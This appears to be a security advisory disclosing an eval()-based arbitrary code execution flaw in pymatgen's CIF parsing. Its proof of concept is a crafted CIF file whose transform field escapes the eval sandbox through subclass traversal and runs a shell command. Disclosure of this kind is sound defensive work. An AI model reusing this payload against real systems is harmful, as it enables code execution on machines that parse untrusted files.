pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
### Summary
A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.
### Details
The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108
https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of `eval()`.
#### Vulnerable code
```py
basis_change = [
re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])
```
The use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal.
### PoC
The vulnerability can be exploited as follows:
Create a file `vuln.cif` with the following contents:
```
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
```
Then, parse the cif file with the following code:
```py
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
```
### Credits
This vulnerability was found and disclosed by William Khem-Marquez
https://github.com/SteakEnthusiast.